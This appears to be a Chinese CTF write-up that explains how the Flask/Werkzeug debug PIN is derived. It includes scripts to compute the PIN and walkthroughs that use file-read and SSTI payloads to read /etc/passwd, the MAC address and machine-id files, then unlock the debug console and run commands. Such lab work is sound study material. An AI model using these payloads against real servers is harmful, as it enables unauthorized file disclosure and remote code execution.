什么是PIN码

pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式

如何生成

这里就列一个了,前面全是获取值,最后进行加密,版本不同区别也就就是3.6与3.8的MD5加密和sha1加密不同

#生效时间为一周
PIN_TIME = 60 * 60 * 24 * 7def hash_pin(pin: str) -> str:return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]_machine_id: t.Optional[t.Union[str, bytes]] = None#获取机器号
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:global _machine_idif _machine_id is not None:return _machine_iddef _generate() -> t.Optional[t.Union[str, bytes]]:linux = b""# machine-id is stable across boots, boot_id is not.for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":try:with open(filename, "rb") as f:value = f.readline().strip()except OSError:continueif value:#读取文件进行拼接linux += valuebreak# Containers share the same machine id, add some cgroup# information. This is used outside containers too but should be# relatively stable across boots.try:with open("/proc/self/cgroup", "rb") as f:#继续进行拼接,这里处理一下只要/docker后的东西linux += f.readline().strip().rpartition(b"/")[2]except OSError:passif linux:return linux# On OS X, use ioreg to get the computer's serial number.try:# subprocess may not be available, e.g. Google App Engine# https://github.com/pallets/werkzeug/issues/925from subprocess import Popen, PIPEdump = Popen(["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE).communicate()[0]match = re.search(b'"serial-number" = <([^>]+)', dump)if match is not None:return match.group(1)except (OSError, ImportError):pass# On Windows, use winreg to get the machine guid.if sys.platform == "win32":import winregtry:with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Cryptography",0,winreg.KEY_READ | winreg.KEY_WOW64_64KEY,) as rk:guid: t.Union[str, bytes]guid_type: intguid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")if guid_type == winreg.REG_SZ:return guid.encode("utf-8")return guidexcept OSError:passreturn None_machine_id = _generate()return _machine_idclass _ConsoleFrame:"""Helper class so that we can reuse the frame console code for thestandalone console."""def __init__(self, namespace: t.Dict[str, t.Any]):self.console = Console(namespace)self.id = 0def get_pin_and_cookie_name(app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:"""Given an application object this returns a semi-stable 9 digit pincode and a random key.  The hope is that this is stable betweenrestarts to not make debugging particularly frustrating.  If the pinwas forcefully disabled this returns `None`.Second item in the resulting tuple is the cookie name for remembering."""pin = os.environ.get("WERKZEUG_DEBUG_PIN")rv = Nonenum = None# Pin was explicitly disabledif pin == "off":return None, None# Pin was provided explicitlyif pin is not None and pin.replace("-", "").isdigit():# If there are separators in the pin, return it directlyif "-" in pin:rv = pinelse:num = pinmodname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)username: t.Optional[str]try:# getuser imports the pwd module, which does not exist in Google# App Engine. It may also raise a KeyError if the UID does not# have a username, such as in Docker.username = getpass.getuser()except (ImportError, KeyError):username = Nonemod = sys.modules.get(modname)# This information only exists to make the cookie unique on the# computer, not as a security feature.probably_public_bits = [username,modname,getattr(app, "__name__", type(app).__name__),getattr(mod, "__file__", None),]# This information is here to make it harder for an attacker to# guess the cookie name.  They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [str(uuid.getnode()), get_machine_id()]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_name

PIN生成要素

1. username,用户名
2. modname,默认值为flask.app
3. appname,默认值为Flask
4. moddir,flask库下app.py的绝对路径
5. uuidnode,当前网络的mac地址的十进制数
6. machine_id,docker机器id

username

通过getpass.getuser()读取,通过文件读取/etc/passwd

modname

通过getattr(mod,“file”,None)读取,默认值为flask.app

appname

通过getattr(app,“name”,type(app).name)读取,默认值为Flask

moddir

当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取

uuidnode

通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

machine_id

每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取

/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup

PIN生成脚本

官方是通过系统命令获取相对应的值,我们采用读文件获取值后放到脚本(也就是官方加密的方法)里进行加密,3.6采用MD5加密,3.8采用sha1加密,所以脚本稍有不同

#MD5
import hashlib
from itertools import chain
probably_public_bits = ['flaskweb'# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = ['root'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]private_bits = ['2485377581187',#  /sys/class/net/eth0/address 16进制转10进制#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

CTFSHOW 801

按照顺序一个一个拿数据,username为root,modname和appname默认

/file?filename=/etc/passwd

file?filename=

通过提示直接报错拿到app的绝对路径

/file?filename=/sys/class/net/eth0/address

拿到uuidnode为2485377582164

最后拿id

file?filename=/proc/sys/kernel/random/boot_id
file?filename=/proc/self/cgroup



拼接的id为653dc458-4634-42b1-9a7a-b22a082e1fce82a63bb7ecca608814cba20ea8f8b92fc00dcbe97347ba1bfc4ccb6ff47ce7dc,扔到3.8脚本中跑得到143-510-975,找到console,输入密码


最后输入命令拿到flag

import os
os.popen('cat /flag').read()

[GYCTF2020]FlaskApp

一个编码一个解码还有一个hint提示,这个hint提示失败乃成功之母,右键源代码又发现<!-- PIN --->,尝试/console页面也发现需要pin密码,到这里可以猜到要利用Flask的Debug模式,在decode页面随意输入值发现报错

@app.route('/decode',methods=['POST','GET'])def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res =  render_template_string(tmp)

这里通过render_template_string造成ssti注入,那么很容易想到通过ssti命令读取各个文件拿到相应的数据最后算出PIN

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('文件名','r').read() }}{% endif %}{% endfor %}
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('文件名').read()}}

读取/etc/passwd获取username

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9ldGMvcGFzc3dkJykucmVhZCgpfX0=


modname和appname仍为固定值flask.app、Flask,通过前面的报错也知道了app.py的绝对路径

/usr/local/lib/python3.7/site-packages/flask/app.py

继续找mac值

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}
e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9zeXMvY2xhc3MvbmV0L2V0aDAvYWRkcmVzcycpLnJlYWQoKX19


mac地址转换为十进制后:226745935931860,最后找机器id,这里挺迷惑的,看教程大家都是找到/proc/self/cgroup里了,我这里找这个文件却成这样了

最后通过/etc/machine-id拿到1408f836b0ca514d796cbf8960e45fa1后通过脚本跑出145-284-488,在console页面(也可以这样进入)


拿到flag

Flask debug模式算pin码相关推荐

  1. flask debug模式logging模块报错os.rename(self.baseFilename, dfn) WindowsError: [Error 32]

    2019独角兽企业重金招聘Python工程师标准>>> flask debug模式logging模块报错 Traceback (most recent call last):   F ...

  2. flask计算pin码

    Flask debug模式算pin码_Ys3ter的博客-CSDN博客_flask pin码 可以参考这个链接 ctfshow801 然后这张图非常的重要 也就是我们需要上面的各个因素,然后获得pin ...

  3. debug信息关闭 tp6_「Flask实战2」设置debug模式

    一.为什么需要开启debug模式 ​1)方便定位:当开启了debug模式,如果代码中抛出了异常,在浏览的页面中可以看到具体的错误信息,以及具体的错误代码位置,方便定位问题. 2)方便调试:当开启了de ...

  4. Flask 学习-9. 开启调试模式(debug模式)的2种方法

    前言 flask 使用app.run() 启动项目的时候,默认debug模式是关闭的,需自己开启debug模式. 本篇教2种方法开启 flask 项目debug模式. 为什么要开启debug模式 在F ...

  5. flask使用debug模式时,存在错误时,会占用设备内存直至服务重启才释放;debug模式会开启一个守护进程(daemon process)...

    函数调用顺序flask的app.py的run-->werkzeug的serving.py的run_simple-->调用werkzeug的debug的__init__.py里的类Debug ...

  6. 设置Eclipse可以Debug模式调试JDK源码,并显示局部变量的值

    最近突然萌发了研究JDK源码的想法,所以就想到了在自己常用的Eclipse上可以调试JDK源码. 整个设置过程也很简单: 首先你要安装好JDK(我的JDK安装路径根目录是D:\Java\jdk-8u9 ...

  7. 用Pycharm开发Flask框架设置debug模式没有效果的解决办法

    debuge模式 在app.run()中传入一个关键字参数debug ,app.run(debug=True),就设置当前项目为debug模式 debug模式的两大功能: 1.当程序出现问题的时候,可 ...

  8. Python源码解析:内存管理(DEBUG模式)的几个理解点

    写了这多贴子,顺带写点自己的感想吧!其实很多贴子在写的时候很踌躇,比如这次打算写的python内存管理,因为内存管理都比较琐碎,在软件架构里,也是很容易出问题的地方,涉及的细节内容非常多,要写好写明白 ...

  9. pin码计算器网页版_新款尼桑密码计算器(提供算密码服务)

    今天和大家介绍一款ICC的国外原车车辆的防盗密码计算器,这款软件能通过原车的车架码或PCM码查询出原车的防盗密码.适合的车型比较广.对设备不多,需要经常匹配车辆防盗的朋友,的确到来不少方便. 以下是官 ...

  10. 2.详解DEBUG模式

    文章目录 DEBUG模式解决了两个问题 四种开启DEBUG的方式 第一种 第二种 第三种 第四种 DEBUG的PIN码可以在浏览器端调试代码使用(不推荐使用,了解就可以) DEBUG模式解决了两个问题 ...

最新文章

  1. 21Iterator(迭代器)模式
  2. 日常检查IBM P系列小型机状态的项目及其相关命令
  3. 算法分析与设计-实验三 贪心算法设计
  4. 数据可视化的基本原理——视觉通道
  5. dubbo服务执行过程源码分析
  6. IT行业的职员加班到底有没有价值?
  7. MySQL内存使用-线程独享
  8. java堆内存_java堆内存模型
  9. 使用PC版Zune以全新的方式体验您的音乐
  10. JavaCV人脸识别三部曲之一:视频中的人脸保存为图片
  11. 机器人编程软件semia_少儿机器人编程与软件编程区别
  12. 计算机桌面任务栏窗口对话框菜单的功能,电脑下方的任务栏不显示怎么办 在任务栏和开始菜单属性对话框...
  13. chrome 打开默认页 被篡改_chrome启动页被篡改怎么办_chrome浏览器启动页全被劫持处理方法-win7之家...
  14. ECS云服务器搭建自己的博客网站worldpress
  15. JAVA泛型与集合类
  16. Web学习(二)CSS
  17. c 语言程序设计第四版郑莉答案,C 语言程序设计郑莉(第4版)
  18. FastReport VCL 6.7.6 For Delphi10.4.2 安装图解教程
  19. 【机器学习】【线性代数】正交基、标准正交基、正交矩阵,正交变换等数学知识点
  20. 有意思的程序员老黄历

热门文章

  1. 用户与计算机的交互界面是什么,终于知道交互界面设计是什么
  2. html中超链接使用_html超链接有哪些类型 html中,超链接用的是什么标签
  3. oracle类型number,Oracle NUMBER 类型细讲
  4. 使用Arduino+L298N控制光驱两项四线步进电机
  5. cubemx配置usb
  6. 信息安全工程师自学笔记(1)
  7. 猪齿鱼 SaaS 版效能平台发布
  8. 考研题目 第五章 数组和广义表
  9. HTML5游戏实战:计时拼图游戏制作
  10. Python爬虫爬取小说 转换成epub格式